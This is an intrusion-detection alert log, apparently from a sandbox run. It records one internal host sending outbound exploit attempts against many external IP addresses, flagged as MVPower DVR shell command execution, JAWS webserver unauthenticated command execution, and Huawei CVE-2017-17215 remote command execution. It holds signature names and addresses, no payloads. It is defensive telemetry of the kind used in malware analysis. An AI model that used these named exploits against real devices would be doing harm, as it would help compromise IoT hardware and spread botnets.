04/14/24-04:00:21.665958	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60332	80	192.168.2.13	104.87.36.227
04/14/24-04:00:29.271232	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43336	80	192.168.2.13	47.225.41.28
04/14/24-04:01:49.638047	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42882	80	192.168.2.13	13.224.85.84
04/14/24-04:01:03.285949	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49864	80	192.168.2.13	199.67.121.162
04/14/24-04:01:46.885573	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32906	80	192.168.2.13	154.41.233.203
04/14/24-04:01:22.301796	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59210	80	192.168.2.13	23.76.198.249
04/14/24-04:01:30.455365	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32868	80	192.168.2.13	23.251.140.149
04/14/24-04:01:24.724116	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42670	80	192.168.2.13	201.218.209.226
04/14/24-04:01:45.452977	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53076	80	192.168.2.13	201.96.157.17
04/14/24-04:00:38.026702	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37358	80	192.168.2.13	121.89.58.33
04/14/24-04:01:22.744467	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53076	80	192.168.2.13	18.164.29.202
04/14/24-04:01:47.639398	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51060	80	192.168.2.13	8.130.104.154
04/14/24-04:01:32.213638	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44506	80	192.168.2.13	96.9.2.247
04/14/24-04:01:02.017271	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40690	37215	192.168.2.13	156.241.90.3
04/14/24-04:01:36.562740	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52682	80	192.168.2.13	13.226.252.84
04/14/24-04:01:45.140848	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37080	80	192.168.2.13	167.82.21.21
04/14/24-04:00:15.057678	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49432	80	192.168.2.13	81.169.194.146
04/14/24-04:00:15.723724	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40432	80	192.168.2.13	112.90.95.147
04/14/24-04:01:03.864234	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51604	80	192.168.2.13	45.145.88.5
04/14/24-04:01:53.710843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55320	80	192.168.2.13	52.68.126.111
04/14/24-04:00:23.634919	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38066	80	192.168.2.13	189.43.147.177
04/14/24-04:00:36.415258	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51988	80	192.168.2.13	13.75.119.219
04/14/24-04:01:18.290340	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54590	80	192.168.2.13	2.23.225.45
04/14/24-04:01:28.439800	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54638	80	192.168.2.13	182.253.216.253
04/14/24-04:01:02.412507	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40218	80	192.168.2.13	103.208.141.2
04/14/24-04:01:11.932247	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41612	80	192.168.2.13	45.201.188.7
04/14/24-04:00:26.833868	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54934	80	192.168.2.13	23.214.128.100
04/14/24-04:01:42.620526	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50746	80	192.168.2.13	62.138.209.88
04/14/24-04:00:20.364272	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37672	80	192.168.2.13	8.217.236.138
04/14/24-04:01:25.452088	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57856	80	192.168.2.13	52.6.14.111
04/14/24-04:01:45.202514	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33076	80	192.168.2.13	52.207.99.199
04/14/24-04:00:34.736820	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57768	80	192.168.2.13	203.32.78.72
04/14/24-04:01:36.656522	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50872	80	192.168.2.13	148.0.2.9
04/14/24-04:00:46.386368	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36124	80	192.168.2.13	35.169.168.55
04/14/24-04:00:55.629564	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39472	80	192.168.2.13	66.33.220.122
04/14/24-04:00:22.051472	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42794	80	192.168.2.13	87.171.240.112
04/14/24-04:00:36.444458	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60518	80	192.168.2.13	37.100.134.205
04/14/24-04:01:02.689671	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56302	80	192.168.2.13	154.86.229.116
04/14/24-04:01:22.226449	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60336	80	192.168.2.13	35.186.240.219
04/14/24-03:59:54.909818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45610	80	192.168.2.13	74.208.25.82
04/14/24-04:01:11.676717	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44394	80	192.168.2.13	47.94.165.217
04/14/24-04:00:23.819902	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44076	80	192.168.2.13	193.255.219.145
04/14/24-04:01:47.385370	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35826	80	192.168.2.13	172.234.221.196
04/14/24-04:01:17.739938	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51766	80	192.168.2.13	18.66.83.162
04/14/24-04:00:33.265487	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41734	80	192.168.2.13	2.23.10.85
04/14/24-04:00:19.372950	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33548	80	192.168.2.13	185.153.151.196
04/14/24-04:00:30.450105	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33768	80	192.168.2.13	34.210.176.69
04/14/24-04:00:43.209278	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49396	80	192.168.2.13	185.242.83.139
04/14/24-04:01:36.478737	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34494	80	192.168.2.13	23.192.170.172
04/14/24-04:01:28.412588	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35050	80	192.168.2.13	2.22.20.139
04/14/24-04:01:45.878729	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57518	37215	192.168.2.13	156.241.118.9
04/14/24-04:00:58.809367	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53566	80	192.168.2.13	159.75.252.47
04/14/24-04:00:19.560533	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42962	80	192.168.2.13	107.23.217.196
04/14/24-04:01:18.576134	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36274	80	192.168.2.13	172.104.229.184
04/14/24-04:01:24.483333	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43782	80	192.168.2.13	18.155.196.181
04/14/24-04:00:39.681596	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59966	80	192.168.2.13	139.162.20.153
04/14/24-04:00:26.526355	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36682	80	192.168.2.13	116.124.75.172
04/14/24-04:00:45.506052	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54594	80	192.168.2.13	94.121.106.130
04/14/24-04:01:11.341399	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57016	80	192.168.2.13	178.25.1.70
04/14/24-04:00:45.351451	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45776	80	192.168.2.13	85.122.208.160
04/14/24-04:00:15.808010	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40442	80	192.168.2.13	112.90.95.147
04/14/24-04:00:52.263453	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50200	80	192.168.2.13	2.19.74.62
04/14/24-04:01:28.249941	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48322	80	192.168.2.13	173.255.248.225
04/14/24-04:00:14.043600	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33676	80	192.168.2.13	104.74.49.225
04/14/24-04:01:13.627826	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38916	80	192.168.2.13	23.207.167.238
04/14/24-03:59:54.894621	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48558	80	192.168.2.13	173.44.211.253
04/14/24-04:01:08.272967	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45670	80	192.168.2.13	35.233.4.129
04/14/24-04:01:52.984466	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37554	80	192.168.2.13	103.182.211.131
04/14/24-04:00:34.400250	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54022	80	192.168.2.13	23.65.224.107
04/14/24-04:01:45.192547	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52284	80	192.168.2.13	184.31.108.44
04/14/24-04:01:18.290340	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54590	80	192.168.2.13	2.23.225.45
04/14/24-04:00:13.912169	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39046	80	192.168.2.13	216.32.28.43
04/14/24-04:00:14.524876	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43178	80	192.168.2.13	116.255.226.15
04/14/24-04:00:45.618669	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38324	80	192.168.2.13	75.101.148.175
04/14/24-04:00:23.819902	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44076	80	192.168.2.13	193.255.219.145
04/14/24-04:01:42.620183	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43546	80	192.168.2.13	80.88.214.211
04/14/24-04:01:30.558775	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38970	80	192.168.2.13	104.108.214.213
04/14/24-04:01:03.888459	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55878	80	192.168.2.13	37.235.240.159
04/14/24-04:00:45.811296	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55640	80	192.168.2.13	62.31.96.100
04/14/24-04:00:58.602964	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38648	80	192.168.2.13	182.92.126.127
04/14/24-04:01:52.301708	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51858	80	192.168.2.13	35.162.70.249
04/14/24-04:00:22.618214	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55830	80	192.168.2.13	158.120.209.116
04/14/24-04:00:29.440747	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38562	80	192.168.2.13	154.38.99.116
04/14/24-04:00:47.619412	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50810	80	192.168.2.13	45.76.43.88
04/14/24-04:00:23.893828	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47062	80	192.168.2.13	103.140.205.113
04/14/24-04:01:49.333830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38184	80	192.168.2.13	154.212.222.199
04/14/24-04:00:58.842752	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44174	80	192.168.2.13	46.229.129.131
04/14/24-04:01:25.394338	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48264	80	192.168.2.13	173.255.248.225
04/14/24-04:01:02.222902	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51726	80	192.168.2.13	38.38.113.178
04/14/24-04:00:46.618837	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59338	80	192.168.2.13	23.231.136.43
04/14/24-04:00:58.728290	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52106	80	192.168.2.13	63.119.95.169
04/14/24-04:00:57.934126	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42320	80	192.168.2.13	18.102.140.68
04/14/24-04:00:33.174775	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44088	80	192.168.2.13	174.138.113.58
04/14/24-04:01:39.212023	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34712	80	192.168.2.13	108.59.247.146
04/14/24-04:00:39.666514	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33582	80	192.168.2.13	52.80.217.220
04/14/24-04:00:57.603560	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45098	80	192.168.2.13	164.42.150.172
04/14/24-04:01:35.799638	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51732	80	192.168.2.13	66.102.1.100
04/14/24-04:00:19.325629	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53182	80	192.168.2.13	23.41.161.203
04/14/24-04:01:15.381804	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33018	80	192.168.2.13	201.211.35.185
04/14/24-04:01:39.336822	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44336	80	192.168.2.13	207.60.38.122
04/14/24-04:00:16.351082	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43502	80	192.168.2.13	143.204.37.147
04/14/24-04:01:47.624292	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51576	80	192.168.2.13	20.103.122.207
04/14/24-04:00:16.678171	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48132	80	192.168.2.13	80.190.131.134
04/14/24-04:00:57.924794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50124	80	192.168.2.13	23.67.167.116
04/14/24-04:00:21.603945	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33568	80	192.168.2.13	44.212.152.11
04/14/24-04:00:55.391835	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34908	80	192.168.2.13	59.190.129.217
04/14/24-04:01:32.627415	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33716	80	192.168.2.13	89.117.229.176
04/14/24-04:00:36.712470	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39718	80	192.168.2.13	4.159.63.164
04/14/24-04:01:42.036001	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53876	80	192.168.2.13	185.49.69.132
04/14/24-04:01:28.306404	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55524	80	192.168.2.13	18.208.4.165
04/14/24-04:00:39.345906	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54394	80	192.168.2.13	44.239.15.122
04/14/24-04:01:11.331237	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51104	80	192.168.2.13	39.96.116.6
04/14/24-04:01:45.448334	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54992	80	192.168.2.13	207.23.167.92
04/14/24-04:01:02.412507	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40218	80	192.168.2.13	103.208.141.2
04/14/24-04:00:27.608930	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33212	80	192.168.2.13	184.29.60.36
04/14/24-04:01:50.733475	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52126	80	192.168.2.13	186.128.162.147
04/14/24-04:00:58.798190	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33346	80	192.168.2.13	193.180.115.13
04/14/24-04:01:18.696332	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59884	80	192.168.2.13	208.186.235.80
04/14/24-04:01:42.125788	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60834	80	192.168.2.13	66.29.153.184
04/14/24-04:01:08.197623	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60042	80	192.168.2.13	204.114.95.126
04/14/24-04:01:12.029142	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50764	80	192.168.2.13	41.76.222.158
04/14/24-04:00:22.774035	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49392	80	192.168.2.13	149.106.147.162
04/14/24-04:00:15.478884	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46530	80	192.168.2.13	159.203.182.204
04/14/24-04:00:26.844855	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58572	80	192.168.2.13	80.209.252.57
04/14/24-04:00:15.468385	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46244	80	192.168.2.13	52.7.20.164
04/14/24-04:00:49.325490	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37834	80	192.168.2.13	23.64.28.225
04/14/24-04:00:22.677377	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36268	80	192.168.2.13	23.39.224.152
04/14/24-04:00:36.719961	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58002	80	192.168.2.13	18.173.187.36
04/14/24-04:00:53.744168	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56592	80	192.168.2.13	142.112.26.153
04/14/24-04:00:47.631406	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51960	80	192.168.2.13	116.6.105.90
04/14/24-04:01:19.302115	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54664	80	192.168.2.13	2.23.225.45
04/14/24-04:00:39.952737	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35040	80	192.168.2.13	125.23.46.59
04/14/24-04:01:53.773061	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46900	80	192.168.2.13	54.72.206.96
04/14/24-04:00:19.351444	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56946	80	192.168.2.13	51.195.220.184
04/14/24-04:00:21.665958	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60332	80	192.168.2.13	104.87.36.227
04/14/24-04:01:30.440565	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36070	80	192.168.2.13	20.82.227.179
04/14/24-04:00:14.285914	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37134	80	192.168.2.13	104.19.80.51
04/14/24-04:01:53.805608	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53388	80	192.168.2.13	182.16.253.51
04/14/24-04:00:22.740168	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48156	80	192.168.2.13	191.85.52.98
04/14/24-04:01:36.497567	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54564	80	192.168.2.13	185.48.5.6
04/14/24-04:01:42.629506	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49190	80	192.168.2.13	54.240.187.152
04/14/24-04:01:18.333677	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49134	80	192.168.2.13	198.137.225.222
04/14/24-04:00:26.880911	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55418	80	192.168.2.13	92.122.35.7
04/14/24-04:00:30.671371	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36516	80	192.168.2.13	172.98.167.125
04/14/24-04:00:27.627857	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54108	80	192.168.2.13	51.255.0.122
04/14/24-04:00:37.711223	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42408	80	192.168.2.13	52.217.226.8
04/14/24-04:00:15.103103	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55122	80	192.168.2.13	219.231.168.103
04/14/24-04:01:36.626313	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54246	80	192.168.2.13	44.212.229.33
04/14/24-04:01:18.375162	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33230	80	192.168.2.13	52.0.226.142
04/14/24-04:00:24.363824	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48036	80	192.168.2.13	172.66.201.240
04/14/24-04:00:30.767284	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32998	80	192.168.2.13	184.26.16.67
04/14/24-04:01:17.864348	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54970	80	192.168.2.13	94.252.127.204
04/14/24-04:01:37.529345	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48902	80	192.168.2.13	23.39.138.2
04/14/24-04:00:33.544121	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49226	80	192.168.2.13	210.154.254.210
04/14/24-04:01:46.778652	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45300	80	192.168.2.13	104.121.21.20
04/14/24-04:00:55.619403	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54062	80	192.168.2.13	23.215.200.44
04/14/24-04:00:29.705745	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51830	80	192.168.2.13	114.55.125.176
04/14/24-04:01:50.611430	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41156	80	192.168.2.13	147.182.173.40
04/14/24-04:00:27.665307	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45736	80	192.168.2.13	23.42.132.46
04/14/24-04:00:36.409304	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33488	80	192.168.2.13	221.113.168.50
04/14/24-04:01:42.373304	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38606	80	192.168.2.13	23.41.236.167
04/14/24-04:01:41.947666	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53364	80	192.168.2.13	52.6.222.214
04/14/24-04:01:53.753769	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54334	80	192.168.2.13	185.145.247.192
04/14/24-04:01:35.714018	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48048	80	192.168.2.13	23.58.229.127
04/14/24-04:01:22.397413	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33596	80	192.168.2.13	38.38.20.188
04/14/24-04:01:20.764935	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40918	37215	192.168.2.13	156.241.97.130
04/14/24-04:00:33.399299	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40566	80	192.168.2.13	108.156.122.28
04/14/24-04:00:26.442836	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50014	80	192.168.2.13	184.28.129.186
04/14/24-04:00:26.613412	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47068	80	192.168.2.13	104.20.202.107
04/14/24-04:01:45.623725	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60788	80	192.168.2.13	154.215.156.78
04/14/24-04:01:15.342345	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40824	80	192.168.2.13	208.88.74.79
04/14/24-04:01:39.453993	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39836	80	192.168.2.13	72.10.161.193
04/14/24-04:00:52.053445	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54068	80	192.168.2.13	18.224.121.76
04/14/24-04:01:18.265451	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52432	80	192.168.2.13	107.181.160.99
04/14/24-04:01:28.429726	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46174	80	192.168.2.13	202.205.109.113
04/14/24-04:00:46.577069	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59400	80	192.168.2.13	20.29.183.40
04/14/24-04:00:33.595544	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51226	80	192.168.2.13	60.204.205.119
04/14/24-04:00:39.603267	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48088	80	192.168.2.13	186.7.216.19
04/14/24-04:01:45.239127	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42036	80	192.168.2.13	18.179.229.31
04/14/24-04:00:14.983482	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35144	80	192.168.2.13	190.167.7.136
04/14/24-04:01:37.603978	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60618	80	192.168.2.13	104.76.80.18
04/14/24-04:00:38.635696	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42282	80	192.168.2.13	158.199.131.36
04/14/24-04:00:27.644950	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36748	80	192.168.2.13	5.39.219.157
04/14/24-04:01:24.849986	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55138	80	192.168.2.13	46.167.65.5
04/14/24-04:00:34.397214	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49624	80	192.168.2.13	173.237.181.176
04/14/24-04:00:49.343669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54978	80	192.168.2.13	84.197.223.154
04/14/24-04:00:29.340778	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46326	80	192.168.2.13	52.212.19.165
04/14/24-04:01:18.606015	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35812	80	192.168.2.13	54.255.12.156
04/14/24-04:00:22.693454	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53220	80	192.168.2.13	125.229.13.9
04/14/24-04:01:08.634582	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53158	80	192.168.2.13	123.56.68.237
04/14/24-04:00:14.195661	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42090	80	192.168.2.13	52.3.52.213
04/14/24-04:01:15.463506	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50490	80	192.168.2.13	186.39.211.134
04/14/24-04:00:45.790530	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47190	80	192.168.2.13	38.238.70.100
04/14/24-04:01:42.173534	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40120	80	192.168.2.13	18.154.238.239
04/14/24-04:00:13.969384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50872	80	192.168.2.13	63.160.189.199
04/14/24-04:00:37.791640	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44084	80	192.168.2.13	104.98.233.87
04/14/24-04:01:15.421980	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36688	80	192.168.2.13	23.41.225.135
04/14/24-04:01:45.397004	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52842	80	192.168.2.13	103.140.234.82
04/14/24-04:01:47.166370	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53288	80	192.168.2.13	117.180.238.129
04/14/24-04:00:49.209172	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47000	80	192.168.2.13	209.95.33.158
04/14/24-04:01:36.413072	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41320	80	192.168.2.13	69.16.209.2
04/14/24-04:00:14.003839	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59400	80	192.168.2.13	23.9.52.207
04/14/24-04:00:19.224875	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41430	80	192.168.2.13	69.163.139.88
04/14/24-04:01:15.446505	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49074	80	192.168.2.13	185.217.243.246
04/14/24-04:01:32.227259	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39758	80	192.168.2.13	44.215.140.132
04/14/24-04:01:42.178479	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33744	80	192.168.2.13	209.252.101.160
04/14/24-04:00:23.607104	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39366	80	192.168.2.13	82.165.23.33
04/14/24-04:00:30.793944	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43656	80	192.168.2.13	52.77.163.67
04/14/24-04:01:04.329418	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37232	80	192.168.2.13	35.162.207.131
04/14/24-04:01:11.166130	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60726	80	192.168.2.13	104.25.155.177
04/14/24-04:00:46.467661	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52094	80	192.168.2.13	208.87.99.128
